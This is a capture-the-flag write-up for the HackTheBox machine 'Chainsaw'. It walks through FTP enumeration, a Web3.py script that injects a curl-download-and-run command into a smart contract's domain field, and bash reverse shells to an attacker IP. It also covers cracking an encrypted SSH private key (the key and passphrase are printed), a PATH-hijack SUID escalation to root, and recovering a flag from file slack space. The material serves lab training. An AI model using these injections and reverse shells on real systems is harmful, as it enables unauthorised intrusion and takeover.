HackTheBox - Chainsaw

7 minute read

Chainsaw was a nice 40 point box created by artikrh and absolutezero. It started out by exploiting a smart contract leveraging Web3.py, then dumping some IPFS info and cracking an RSA Private Key to get user. We then took advantage of a SUID binary to get root and used bmap to get the flag hidden within the slack space of root.txt.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.142 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) &&  
nmap -sV -sC -T4 -p$ports 10.10.10.142

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json
| -rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol
|_-rw-r--r--    1 1001     1001           44 Jun 17 05:46 address.txt                                                                                                      
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.29
|      Logged in as ftp
|      TYPE: ASCII                                                                                                                                                         
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
|   256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_  256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
9810/tcp open  unknown
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 400 Bad Request
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent                                                                             
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain                                                                                                                                             
|     Date: Tue, 18 Jun 2019 10:51:41 GMT
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.1 400 Bad Request
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Tue, 18 Jun 2019 10:51:40 GMT
|     Connection: close
|     Request
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
|     Access-Control-Allow-Origin: *
|     Access-Control-Allow-Methods: *
|     Content-Type: text/plain
|     Date: Tue, 18 Jun 2019 10:51:40 GMT
|_    Connection: close


FTP


We notice FTP is accepting anonymous logins and see there’s three files available on the host. Connecting to FTP we can download all the files with mget *

# ftp 10.10.10.142
Connected to 10.10.10.142.
220 (vsFTPd 3.0.3)
Name (10.10.10.142:root): anonymous
331 Please specify the password.
Password: anonymous 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 1001     1001        23828 Dec 05  2018 WeaponizedPing.json                                                                                                
-rw-r--r--    1 1001     1001          243 Dec 12  2018 WeaponizedPing.sol                                                                                                 
-rw-r--r--    1 1001     1001           44 Nov 23 10:34 address.txt                                                                                                        
226 Directory send OK.    
ftp> mget *
...
ftp> exit
221 Goodbye.


File Analysis


Checking the contents of the WeaponizedPing.sol file we see the following:

pragma solidity ^0.4.24;

contract WeaponizedPing 
{
  string store = "google.com";

  function getDomain() public view returns (string) 
  {
      return store;
  }

  function setDomain(string _value) public 
  {
      store = _value;
  }
}

It is written in Solidity, a contract-oriented high-level language for implementing smart contracts, for version 0.4.24.

This smart contract contains functions and data at a specific address on the Ethereum blockchain. In this instance the Ethereum node is at http://10.10.10.142:9810 and the address to identify the contract is available to us in the address.txt file: 0xEe7Fd651264Fc5ba2aA4DC66B4f636768887bC26.

The contract is fairly simple and contains a ping utility function getDomain() as well as a function that enables us to parse a string setDomain() and ping a host of our choosing. The WeaponizedPing.json file holds configuration details which we’ll leverage during our interaction with the smart contract.


Web3.py Exploit


In order for us to interact with the contract we’ll be using Web3.py.

# pip3 install web3

A fantastic article on Web3.py and interacting with the Ethereum Blockchain can be found here.

It’s worth reading the whole article but #4. Calling Smart Contract Functions with Web3.py - is what we’re interested in to exploit this contract.

Our aim is to use the setDomain() function and set the domain to localhost && curl http://10.10.14.29/rev.sh > /tmp/rev; /bin/bash /tmp/rev; and then call getDomain(). This will make the contract ping localhost and then fetch our rev.sh file (below), save it to /tmp/rev and execute it with bash, sending us a reverse shell.

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1

My final exploit is shown below and explanations of each command can be found in the article:

import json
from web3 import Web3, HTTPProvider

with open("WeaponizedPing.json") as f:
    info_json= json.load(f)

abi=info_json["abi"]
web3 = Web3(HTTPProvider("http://10.10.10.142:9810"))
web3.eth.defaultAccount = web3.eth.accounts[0]
con = web3.eth.contract(address="0xf9C6D22079bd9f63312FF27196B6f276E076312D", abi=abi)

setDom=con.functions.setDomain("localhost && curl http://10.10.14.29/rev.sh > /tmp/rev; /bin/bash /tmp/rev;").transact()
print (setDom)
getDom=con.functions.getDomain().call()
print (getDom)

Before running our exploit we need to set up a Python SimpleHTTPServer and have a netcat listener ready to catch our shell:


Administrator to Bobby


During my enumeration as Administrator I noticed there were multiple other user accounts present on the box:

administrator@chainsaw:/home/administrator$ cat /etc/passswd
...
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
uid=997(arti) gid=996(arti) groups=996(arti)
uid=996(lara) gid=995(lara) groups=995(lara)
uid=995(bryan) gid=994(bryan) groups=994(bryan)
uid=994(wendy) gid=993(wendy) groups=993(wendy)

The chainsaw-emp.csv file also gives us some valuable insight into each user’s individual role:

administrator@chainsaw:/home/administrator$ cat chainsaw-emp.csv
Employees,Active,Position
arti@chainsaw,No,Network Engineer
bryan@chainsaw,No,Java Developer
bobby@chainsaw,Yes,Smart Contract Auditor
lara@chainsaw,No,Social Media Manager
wendy@chainsaw,No,Mobile Application Developer

The fact that bobby was the only user in the /home directory, besides administrator, means that we most likely need to escalate to bobby in order to get the user flag.


InterPlanetary File System


Whilst enumerating for info relating to bobby the .ipfs directory caught my eye. IPFS stands for InterPlanetary File System.

The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system.

With this in mind, the /home/administrator/.ipfs directory became the focus of my attention as it most likely contained some sensitive information which we could use to escalate to bobby.

Leveraging grep we’re able to recursively check all the files in /home/administrator/ for the string ‘bobby’:

administrator@chainsaw:/home/administrator$ grep -iRl bobby
chainsaw-emp.csv
.ipfs/blocks/SG/CIQBGBBWXJ4N54A5BUNC7WYVUQNXLEQN67SNFTAPGUMYTYB2UAC4SGI.data
.ipfs/blocks/JL/CIQKWHQP7PFXWUXO6CSIFQMFWW4CTR23WJEFINRLPRC6UAP2ZM5EJLY.data
.ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data
.ipfs/blocks/SP/CIQJWFQFWYW5QEXAELBZ5WBEDCJBZ2RSPCHVGDOXQ6FM67VBWKVTSPI.data

Most of the .data files contained random junk, but .ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data had some interesting information:

administrator@chainsaw:/home/administrator$ cat .ipfs/blocks/OY/CIQG3CRQFZCTNW7GKEFLYX5KSQD4SZUO2SMZHX6ZPT57JIR6WSNTOYQ.data 
...
Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM
RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0
dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z
MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr
aHZTWjYKZnZzU1g4QTRRcjdyYmY5Zm56NFBJbUlndXJGM1ZoUW1kbEVtekRSVDRtL3BxZjNUbUdB
azkrd3JpcW5rT0RGUQpJKzJJMWNQYjhKUmhMU3ozcHlCM1gvdUdPVG5ZcDRhRXErQVFaMnZFSnoz
RmZYOVNYOWs3ZGQ2S2FadFNBenFpCnc5ODFFUzg1RGs5TlVvOHVMeG5aQXczc0Y3UHo0RXVKMEhw
bzFlWmdZdEt6dkRLcnJ3OHVvNFJDYWR4N0tIUlQKaW5LWGR1SHpuR0ExUVJPelpXN3hFM0hFTDN2
eFI5Z01WOGdKUkhEWkRNSTl4bHc5OVFWd2N4UGNGYTMxQXpWMgp5cDNxN3lsOTU0U0NNT3RpNFJD
M1o0eVVUakRrSGRIUW9FY0dpZUZPV1UraTFvaWo0Y3J4MUxiTzJMdDhuSEs2CkcxQ2NxN2lPb240
UnNUUmxWcnY4bGlJR3J4bmhPWTI5NWU5ZHJsN0JYUHBKcmJ3c284eHhIbFQzMzMzWVU5ZGoKaFFM
TnA1KzJINCtpNm1tVTN0Mm9nVG9QNHNrVmNvcURsQ0MrajZoRE9sNGJwRDl0NlRJSnVyV3htcEdn
TnhlcwpxOE5zQWVudGJzRCt4bDRXNnE1bXVMSlFtai94UXJySGFjRVpER0k4a1d2WkUxaUZtVmtE
L3hCUm53b0daNWh0CkR5aWxMUHBsOVIrRGg3YnkzbFBtOGtmOHRRbkhzcXBSSGNleUJGRnBucTBB
VWRFS2ttMUxSTUxBUFlJTGJsS0cKandyQ3FSdkJLUk1JbDZ0SmlEODdOTTZKQm9ReWRPRWNwbis2
RFUrMkFjdGVqYnVyMGFNNzRJeWVlbnJHS1NTWgpJWk1zZDJrVFNHVXh5OW8veFBLRGtVdy9TRlV5
U21td2lxaUZMNlBhRGd4V1F3SHh0eHZtSE1oTDZjaXROZEl3ClRjT1RTSmN6bVIycEp4a29oTHJI
N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq
TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo
VDNaRllEcnc3U3RnSzA0a2JEN1FrUGVOcTlFdjFJbjJuVmR6RkhQSWg2eitmbXBiZ2ZXZ2VsTEhj
MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N
MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F
V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5
OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy
WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10
b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3
RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ
NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW
clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3
PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0=

Base64 decoding this in CyberChef we get the following encrypted RSA Private Key:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,53D881F299BA8503

SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk
7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz
n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6
fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ
I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi
w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT
inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2
yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6
G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj
hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes
q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht
DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG
jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ
IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw
TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0
hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi
4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et
SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh
nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM
ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK
WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR
gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/
edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP
UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX
15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==
-----END RSA PRIVATE KEY-----


RSA Private Key Decryption


In order to decrypt the key we need to use ssh2john to convert the encrypted RSA Private Key into a hash format which we can then crack with JohnTheRipper. After a few minutes John cracks the passphrase for us no problem.

# ssh2john bobby.key.enc > bobby_hash
# john --wordlist=/root/rockyou.txt bobby_hash
...
jackychain       (bobby)


Flag


All we have to do now is SSH in with our cracked private key, supply the passphrase, and we get the user flag.

root@kali:~# ssh -i bobby bobby@10.10.10.142
Enter passphrase for key 'bobby': jackychain
bobby@chainsaw:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
bobby@chainsaw:~$ cat user.txt 
af8d9d...


Root.txt

ChainsawClub


Checking out the /home/bobby/projects/ChainsawClub directory we see a ChainsawClub SUID binary. Running strings on it we notice the following:

bobby@chainsaw:~/projects/ChainsawClub$ strings ChainsawClub
/lib64/ld-linux-x86-64.so.2
libc.so.6                              
sudo -i -u root /root/ChainsawClub/dist/ChainsawClub/ChainsawClub
...

The binary is calling sudo as root. If we set the PATH variable like so PATH=.:$PATH the binary will call sudo from within our working directory.

To exploit this we first create a reverse shell bash script like below:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.7/1234 0>&1

We then name the bash reverse shell script ‘sudo’ and execute the ChainsawClub binary and we get a root reverse shell:


Flag


We’re root but when we go to cat root.txt we see the following message:

root@chainsaw:/root# cat root.txt
Mine deeper to get rewarded with root coin (RTC)...

Running ls -la root.txt we take note of the file size:

root@chainsaw:/root# ls -la root.txt
-r--r----- 1 root root 52 Jan 23  2019 root.txt

root.txt is only 52 bytes out of a 4096 byte block size, therefore 4044 bytes of slack space exists. Slack space can be used to hide data in files which cannot be seen when you cat them.

In the prior slack space article you’ll see a reference to bmap, it also just so happens to be installed in the /sbin directory on the box. All we have to do is run bmap with the slack mode option and we get root.

root@chainsaw:/root# /sbin/bmap --mode slack root.txt
getting from block 2655304
file size was: 52
slack size: 4044
block size: 4096
68c874...